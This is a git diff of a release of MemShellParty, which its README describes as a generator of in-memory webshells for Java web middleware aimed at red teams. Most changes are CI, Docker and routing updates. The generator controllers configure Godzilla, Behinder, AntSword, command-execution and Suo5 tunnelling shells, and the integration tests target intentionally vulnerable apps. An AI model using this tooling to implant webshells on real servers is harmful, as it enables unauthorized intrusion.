chore: 2.8.0

docs: fix typo
build: frontend build failed
2026-09-22 15:10:43 +08:00 · 2026-06-29 01:24:31 +08:00 · 2026-06-29 01:23:48 +08:00 · 2026-06-29 01:18:52 +08:00 · 2026-06-29 00:28:34 +08:00 · 2026-06-29 00:28:31 +08:00
931 changed files with 55734 additions and 20004 deletions
@@ -0,0 +1,19 @@
+.git
+.gradle
+.idea
+.vscode
+.DS_Store
+
+**/.DS_Store
+**/.gradle
+**/build
+**/bin
+
+web/.react-router
+web/.source
+web/build
+web/node_modules
+
+integration-test
+tools
+vul
@@ -9,7 +9,7 @@ if __name__ == '__main__':
    args = parser.parse_args()
    version = args.version

-    with open("../../CHANGELOG.md") as f:
+    with open("../../web/content/docs/changelog.mdx") as f:
        lines = f.readlines()
        for line in lines:
            if line.startswith(f"## [{version}]"):
@@ -12,18 +12,26 @@ on:
 jobs:
  build-jar:
    name: Build Jar
-    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
+
+      - name: Setup Node
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
@@ -34,10 +42,16 @@ jobs:
        working-directory: web
        run: bun install --frozen-lockfile && bun run build

-      - name: Build Boot with Gradle
-        run: ./gradlew :boot:bootjar -x test
+      - name: Build Boot with Gradle (Linux)
+        if: matrix.os == 'ubuntu-latest'
+        run: ./gradlew :boot:test :boot:bootjar

-      - name: Upload Boot Jar
+      - name: Build Boot with Gradle (Windows)
+        if: matrix.os == 'windows-latest'
+        run: ./gradlew.bat :boot:test :boot:bootjar
+
+      - name: Upload Boot Jar (Linux)
+        if: matrix.os == 'ubuntu-latest'
        uses: actions/upload-artifact@v4
        with:
          name: boot
@@ -48,28 +62,28 @@ jobs:
    needs: [ build-jar ]
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Download Boot Jar
-        uses: actions/download-artifact@v4
+        uses: actions/download-artifact@v8
        with:
          name: boot
          path: boot/build/libs

      - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
        with:
          registry: docker.io
          username: ${{ vars.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4

      - name: Build and push
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
        with:
          context: boot
          platforms: linux/amd64,linux/arm64
@@ -81,15 +95,15 @@ jobs:
    needs: [ build-jar ]
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6

      - name: Publish with Gradle
        env:
@@ -22,7 +22,7 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
      - name: Build Docker image
        run: |
          docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
@@ -33,7 +33,7 @@ jobs:
          sleep 10
      - name: Test with curl
        run: |
-          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
+          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
             echo "Test successful!"
          else
            echo "Test failed!"
@@ -15,21 +15,21 @@ jobs:
    name: Docker Push
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
      - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
        with:
          registry: docker.io
          username: ${{ vars.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4

      - name: Build and push RedQueen
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
        with:
          context: .
          platforms: linux/amd64,linux/arm64
@@ -9,6 +9,7 @@ on:
      - './github/workflows/memshell-integration-test.yml'
      - '**/memshell/**'
      - '**/packer/**'
+      - '**/dubbo/**'

 concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -27,7 +28,7 @@ jobs:
          - middleware: "jbossas"
            depend_tasks: ":vul:vul-webapp:war"
          - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
          - middleware: "wildfly"
            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
          - middleware: "glassfish"
@@ -43,34 +44,47 @@ jobs:
          - middleware: "weblogic"
            depend_tasks: ":vul:vul-webapp:war"
          - middleware: "springwebmvc"
-            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
          - middleware: "springwebflux"
            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
          - middleware: "xxljob"
            depend_tasks: ""
-    runs-on: ubuntu-latest
+          - middleware: "struts2"
+            depend_tasks: ":vul:vul-struts2:war"
+          - middleware: "jenkins"
+            depend_tasks: ""
+          - middleware: "geronimo"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "dubbo"
+            depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
+    runs-on: ubuntu-22.04
    name: ${{ matrix.cases.middleware }}
    steps:
      - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6

      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6

      - name: Prepare for Integration Test
        run: ./gradlew ${{ matrix.cases.depend_tasks }}

      - name: Integration Test with gradle
+        if: matrix.cases.middleware != 'dubbo'
        run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info

+      - name: Dubbo Integration Test with gradle
+        if: matrix.cases.middleware == 'dubbo'
+        run: ./gradlew :integration-test:dubboContainerTest --info
+
      - name: Export Integration Test Summary
        uses: mikepenz/action-junit-report@v5
        if: success() || failure()
        with:
-          report_paths: '**/build/test-results/test/TEST-*.xml'
+          report_paths: '**/build/test-results/*/TEST-*.xml'
@@ -25,7 +25,7 @@ jobs:
          - middleware: "jbossas"
            depend_tasks: ":vul:vul-webapp:war"
          - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
          - middleware: "wildfly"
            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
          - middleware: "glassfish"
@@ -41,23 +41,23 @@ jobs:
          - middleware: "weblogic"
            depend_tasks: ":vul:vul-webapp:war"
          - middleware: "springwebmvc"
-            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
-          - middleware: "springwebflux"
-            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
-    runs-on: ubuntu-latest
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
+          - middleware: "struts2"
+            depend_tasks: ":vul:vul-struts2:war"
+    runs-on: ubuntu-22.04
    name: ${{ matrix.cases.middleware }}
    steps:
      - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6

      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6

      - name: Prepare for Integration Test
        run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
        run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info

      - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v5
+        uses: mikepenz/action-junit-report@v6
        if: success() || failure()
        with:
          report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -14,7 +14,7 @@ jobs:
      version-without-v: ${{ steps.get_version.outputs.version-without-v }}
      changelog: ${{ steps.get_changelog.outputs.changelog }}
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Get Version
        id: get_version
@@ -36,16 +36,21 @@ jobs:
    name: Build Jar
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
+
+      - name: Setup Node
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
@@ -70,7 +75,7 @@ jobs:
    needs: [ info, build-jar ]
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Download Boot Jar
        uses: actions/download-artifact@v4
@@ -79,26 +84,26 @@ jobs:
          path: boot/build/libs

      - name: Login to GitHub Container Registry
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
        with:
          registry: ghcr.io
          username: ${{ github.repository_owner }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
        with:
          registry: docker.io
          username: ${{ vars.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4

      - name: Build and push
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
        with:
          context: boot
          platforms: linux/amd64,linux/arm64
@@ -110,7 +115,7 @@ jobs:
            ghcr.io/reajason/memshell-party:latest

      - name: Build and push RedQueen
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
        with:
          context: .
          platforms: linux/amd64,linux/arm64
@@ -125,15 +130,15 @@ jobs:
    name: Deploy to Maven Central
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6

      - name: Publish with Gradle
        env:
@@ -151,7 +156,7 @@ jobs:
    permissions:
      contents: write
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6

      - name: Download Boot Jar
        uses: actions/download-artifact@v4
@@ -0,0 +1,47 @@
+name: Single IntegrationTest
+
+on:
+  workflow_dispatch:
+    inputs:
+      depend_tasks:
+        description: '前置构建任务，如 :boot:jar :generator:jar'
+        required: false
+        default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
+        type: string
+      test_class:
+        description: '测试用例类名，如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
+        required: true
+        type: string
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  integration-test:
+    runs-on: ubuntu-22.04
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v6
+
+      - name: Setup Java
+        uses: actions/setup-java@v5
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v6
+
+      - name: Prepare for Integration Test
+        if: ${{ inputs.depend_tasks != '' }}
+        run: ./gradlew ${{ inputs.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
+
+      - name: Export Integration Test Summary
+        uses: mikepenz/action-junit-report@v5
+        if: success() || failure()
+        with:
+          report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -17,16 +17,16 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6

      - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
        with:
          distribution: 'temurin'
          java-version: 17

      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6

      - name: Generator Unit Test with Gradle
        run: ./gradlew :generator:test
@@ -0,0 +1,3 @@
+[submodule "libs"]
+	path = libs
+	url = https://github.com/ReaJason/javaweb-sources.git
@@ -6,17 +6,17 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
    rm -rf vul integration-test tools

 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend

-ARG ROUTE_ROOT_PATH="/"
+ARG ROUTE_ROOT_PATH=""
 ARG CONTEXT_PATH=""

 WORKDIR /usr/src/web

 ENV VITE_APP_API_URL=${CONTEXT_PATH} \
-    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
+    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui

-COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
+COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/

 RUN bun install --frozen-lockfile

@@ -24,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web

 RUN bun run build

-# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
-FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.15_6-jdk-noble AS backend
+# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
+FROM --platform=$BUILDPLATFORM  eclipse-temurin:21.0.11_10-jdk-noble AS backend

 WORKDIR /usr/src

@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res

 RUN ./gradlew :boot:bootjar -x test

-FROM eclipse-temurin:17.0.15_6-jre-noble
+FROM eclipse-temurin:21.0.11_10-jre-noble

 LABEL authors="ReaJason<[email protected]>"

@@ -56,4 +56,4 @@ ENV INTERNAL_JAVA_OPTS="\

 EXPOSE 8080

-ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
+ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
@@ -12,7 +12,7 @@
 <div align="center">

 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
-[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
 </div>

 > [!WARNING]
@@ -25,10 +25,10 @@
 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，致力于简化安全研究人员和红队成员的工作流程，提升攻防效率。

 <p align="center">
-  <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
-  <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
-  <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
-  <img src="asserts/about_page.png" alt="about_page" width="24%">
+  <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="assets/about_page.png" alt="about_page" width="24%">
 </p>

 ## 主要特性
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工

 ### 使用前必看

-[Java 服务简介.md](./docs/ServerIntro.md)，用于了解 MemShellParty
+[适配情况](https://party.mem.mk/ui/docs/compatibility)，用于了解 MemShellParty
 中针对各个服务适配的情况，针对不同的应用选择合适的服务类型。

 探测马中探测服务类型已经做了一一对应，探测出来的服务类型，即是可生成内存马的服务类型（非中间件类型，例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish，因为它使用的是 GlassFish 进行的二开）。

 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门

-可访问（master 分支） [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
+可访问（master 分支） [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。

-对于正在开发的功能可访问（dev 分支）  [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
+对于正在开发的功能可访问（dev 分支）  [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。

 ### 本地部署（推荐）

@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
 ```

-镜像是无状态的，在需要更新最新镜像时，直接移除新建就好了
-
-```bash
-# 移除之前部署的
-docker rm -f memshell-party
-
-# 使用之前的部署命令重新部署（会自动拉取最新的镜像部署）
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-```
-
-## User Guide
-
-1. [适配情况](./docs/Compatibility.md)
-2. [本地构建](./docs/BuildOnLocal.md)
-3. [SDK 集成](./examples/memshell-party-maven-example)
-4. [代码贡献](./CONTRIBUTING.md)
-
 ## Special Thanks

 - [vulhub/java-chains](https://github.com/vulhub/java-chains)
@@ -2,7 +2,7 @@ FROM python:3.12-slim

 WORKDIR /app

-RUN pip install requests
+RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/

 COPY neoreg.py .

@@ -1,4 +1,4 @@
-FROM eclipse-temurin:17.0.14_7-jre-noble
+FROM eclipse-temurin:21.0.11_10-jre-noble

 LABEL authors="ReaJason<[email protected]>"

@@ -1,6 +1,6 @@
 plugins {
    id("java")
-    id("org.springframework.boot") version "3.5.3"
+    id("org.springframework.boot") version "4.1.0"
    id("io.spring.dependency-management") version "1.1.7"
 }

@@ -21,20 +21,18 @@ configurations {
    }
 }

+extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
+
 dependencies {
    implementation(project(":generator")) {
-        exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
        exclude(group = "commons-logging", module = "commons-logging")
    }
    implementation(project(":packer")) {
        exclude(group = "commons-logging", module = "commons-logging")
    }
    implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
-    implementation("org.springframework.boot:spring-boot-starter-web") {
-        exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
-    }
+    implementation("org.springframework.boot:spring-boot-starter-web")
    implementation(libs.commons.lang3)
-    implementation("org.springframework.boot:spring-boot-starter-jetty")
    compileOnly("org.projectlombok:lombok")
    developmentOnly("org.springframework.boot:spring-boot-devtools")
    annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.springframework.asm.ClassReader;
+import org.springframework.cglib.core.ClassNameReader;
+import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+@RestController
+@CrossOrigin("*")
+public class ClassNameParseController {
+
+    @PostMapping("/api/className")
+    public String className(@RequestBody String classBase64) {
+        return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
+    }
+}
@@ -1,6 +1,7 @@
 package com.reajason.javaweb.boot.controller;

 import com.reajason.javaweb.boot.vo.CommandConfigVO;
+import com.reajason.javaweb.boot.vo.PackerVO;
 import com.reajason.javaweb.memshell.ServerFactory;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -17,7 +18,7 @@ import java.util.*;
 * @since 2024/12/13
 */
@RestController
-@RequestMapping("/config")
+@RequestMapping("/api/config")
@CrossOrigin("*")
 public class ConfigController {

@@ -40,6 +41,21 @@ public class ConfigController {
                .map(Packers::name).toList();
    }

+    /**
+     * 返回父/子 packer 层级结构，供前端在「父模式 / 子模式」之间选择。
+     * 单独新增端点而非修改 {@link #getPackers()}，以避免破坏旧版本前端对返回值的依赖。
+     */
+    @RequestMapping("/packers/tree")
+    public List<PackerVO> getPackerTree() {
+        return Arrays.stream(Packers.values())
+                .filter(packers -> packers.getParentPacker() == null)
+                .map(packers -> new PackerVO(
+                        packers.name(),
+                        Packers.getPackersWithParent(packers.getInstance().getClass())
+                                .stream().map(Packers::name).toList()))
+                .toList();
+    }
+
    @RequestMapping
    public Map<String, Map<?, ?>> config() {
        Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.packer.AggregatePacker;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.jar.JarPacker;
 import org.springframework.web.bind.annotation.*;

 import java.util.Base64;
@@ -19,7 +19,7 @@ import java.util.Base64;
 * @since 2024/12/18
 */
@RestController
-@RequestMapping("/memshell/generate")
+@RequestMapping("/api/memshell/generate")
@CrossOrigin("*")
 public class MemShellGeneratorController {
    @PostMapping
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
        InjectorConfig injectorConfig = request.getInjectorConfig();
        MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
        Packer packer = request.getPacker().getInstance();
+        if (packer instanceof AggregatePacker) {
+            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
+        }
        if (packer instanceof JarPacker) {
            return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
-        } else if (packer instanceof AggregatePacker) {
-            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
-        } else {
-            return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
        }
+        return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
    }
 }
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
 * @since 2025/8/10
 */
@RestController
-@RequestMapping("/probe/generate")
+@RequestMapping("/api/probe/generate")
@CrossOrigin("*")
 public class ProbeShellGeneratorController {
    @PostMapping
@@ -22,7 +22,7 @@ import java.util.Map;
 */
@RestController
@CrossOrigin("*")
-@RequestMapping("/version")
+@RequestMapping("/api/version")
 public class VersionController {

    @Value("${spring.application.version}")
@@ -1,16 +1,70 @@
 package com.reajason.javaweb.boot.controller;

+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.http.ResponseEntity;
 import org.springframework.stereotype.Controller;
+import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;

 /**
 * @author ReaJason
 * @since 2024/12/19
 */
@Controller
+@Slf4j
 public class ViewController {
    @GetMapping("/")
    public String index(){
-        return "index";
+        return "redirect:/ui";
+    }
+
+    @GetMapping({"/api/search", "/api/search.data"})
+    @ResponseBody
+    public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        String relativePath = fullPath.substring(1);
+        return renderFileData(relativePath, response);
+    }
+
+    @GetMapping("/ui/**")
+    @SneakyThrows
+    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
+            return "index";
+        }
+        String docPath = fullPath.substring(4);
+        if (docPath.endsWith(".data")) {
+            return ResponseEntity.ok(renderFileData(docPath, response));
+        }
+        return docPath + "/index";
+    }
+
+    private String renderFileData(String relativePath, HttpServletResponse response) {
+        try {
+            String templatePath = "templates/" + relativePath;
+            ClassPathResource resource = new ClassPathResource(templatePath);
+            if (!resource.exists()) {
+                response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+                return "File not found: " + relativePath;
+            }
+            InputStreamReader reader = new InputStreamReader(
+                    resource.getInputStream(),
+                    StandardCharsets.UTF_8
+            );
+            return FileCopyUtils.copyToString(reader);
+        } catch (IOException e) {
+            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
+            return "Error reading file: " + e.getMessage();
+        }
    }
 }
@@ -2,9 +2,7 @@ package com.reajason.javaweb.boot.dto;

 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.packer.Packers;
-import com.reajason.javaweb.utils.CommonUtil;
 import lombok.Data;
-import org.apache.commons.lang3.StringUtils;

 import static com.reajason.javaweb.memshell.ShellTool.*;

@@ -20,11 +18,12 @@ public class MemShellGenerateRequest {
    private Packers packer;

    @Data
-    static class ShellToolConfigDTO {
+    public static class ShellToolConfigDTO {
        private String shellClassName;
        private String godzillaPass;
        private String godzillaKey;
        private String commandParamName;
+        private String commandTemplate;
        private String behinderPass;
        private String antSwordPass;
        private String headerName;
@@ -52,10 +51,13 @@ public class MemShellGenerateRequest {
            case Command -> CommandConfig.builder()
                    .shellClassName(shellToolConfig.getShellClassName())
                    .paramName(shellToolConfig.getCommandParamName())
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .template(shellToolConfig.getCommandTemplate())
                    .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                    .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                    .build();
-            case Suo5 -> Suo5Config.builder()
+            case Suo5, Suo5v2 -> Suo5Config.builder()
                    .shellClassName(shellToolConfig.getShellClassName())
                    .headerName(shellToolConfig.getHeaderName())
                    .headerValue(shellToolConfig.getHeaderValue())
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
                    .shellClassBase64(shellToolConfig.getShellClassBase64())
                    .shellClassName(shellToolConfig.getShellClassName())
                    .build();
+            case Proxy -> ProxyConfig.builder()
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .shellClassName(shellToolConfig.shellClassName).build();
            default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
        };
    }
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
        private String server;
        private String sleepServer;
        private String reqParamName;
-        private String reqHeaderName;
+        private String commandTemplate;
    }

    public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
                    .build();
            case ResponseBody -> ResponseBodyConfig.builder()
                    .reqParamName(probeContentConfig.reqParamName)
-                    .reqHeaderName(probeContentConfig.reqHeaderName)
+                    .commandTemplate(probeContentConfig.commandTemplate)
                    .server(probeContentConfig.server)
                    .build();
            default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -1,7 +1,7 @@
